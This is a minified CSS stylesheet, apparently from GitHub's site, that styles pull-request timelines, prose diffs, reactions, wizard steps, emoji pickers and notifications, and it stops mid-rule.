.pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark] .pagination-loader-container{background-image:url("/images/modules/pulls/progressive-disclosure-line-dark.svg")}}:target .timeline-comment-group .timeline-comment .timeline-comment-group .timeline-comment{box-shadow:none !important}.is-pending .form-actions{margin-right:8px;margin-bottom:4px}.is-pending .file,.is-pending .file-header,.is-pending .tabnav-tab.selected,.is-pending .comment-form-head.tabnav{border-color:var(--color-attention-emphasis)}.is-pending .file-header,.is-pending .comment-form-head.tabnav{background-color:var(--color-attention-subtle)}.discussion-item-icon-gray{background-color:var(--color-timeline-badge-bg) !important}.footer-octicon{color:var(--color-fg-subtle)}.footer-octicon:hover{color:var(--color-fg-muted)}.user-mention,.team-mention{font-weight:600;color:var(--color-fg-default);white-space:nowrap}.Popover .user-mention,.Popover .team-mention{white-space:normal}@media(max-width: 543px){.notifications-component-menu-modal{margin:calc(10vh - 16px) 0}}@media(min-width: 544px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{width:100%}}@media(min-width: 768px){.notifications-component-menu-modal,.notifications-component-dialog,.notifications-component-dialog-modal{min-width:300px}}.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{position:fixed;top:0;right:0;bottom:0;left:0;z-index:80;display:block;cursor:default;content:" ";background:transparent;background:var(--color-primer-canvas-backdrop)}@media(min-width: 544px){.notifications-component-dialog:not([hidden])+.notifications-component-dialog-overlay{display:none}}.notifications-component-dialog{z-index:99;animation:none}@keyframes notifications-component-dialog-animation--sm{0%{opacity:0;transform:translateX(16px)}}@media(min-width: 544px){.notifications-component-dialog{position:absolute;top:auto;right:auto;bottom:auto;left:auto;max-height:none;padding-top:0;margin:0;transform:none}}.notifications-component-dialog .notifications-component-dialog-modal{animation:none}.pagehead{position:relative;padding-top:24px;padding-bottom:24px;margin-bottom:24px;border-bottom:1px solid var(--color-border-default)}.pagehead.admin{background:url("/images/modules/pagehead/background-yellowhatch-v3.png") 0 0 repeat-x}.pagehead ul.pagehead-actions{position:relative;z-index:31;float:right;margin:0}.pagehead .path-divider{margin:0 .25em}.pagehead h1{min-height:32px;margin-top:0;margin-bottom:0;font-size:20px;font-weight:400}.pagehead h1 .avatar{margin-top:-2px;margin-right:8px;margin-bottom:-2px}.pagehead .underline-nav{height:69px;margin-top:-16px;margin-bottom:-16px}.pagehead-heading{color:inherit}.pagehead-actions>li{float:left;margin:0 8px 0 0;font-size:12px;color:var(--color-fg-default);list-style-type:none}.pagehead-actions>li:last-child{margin-right:0}.pagehead-actions .octicon-mute{color:var(--color-danger-fg)}.pagehead-actions .select-menu{position:relative}.pagehead-actions .select-menu::before{display:table;content:""}.pagehead-actions .select-menu::after{display:table;clear:both;content:""}.pagehead-actions .select-menu-modal-holder{top:100%}.pagehead-tabs-item{float:left;padding:8px 16px 12px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.pagehead-tabs-item .octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 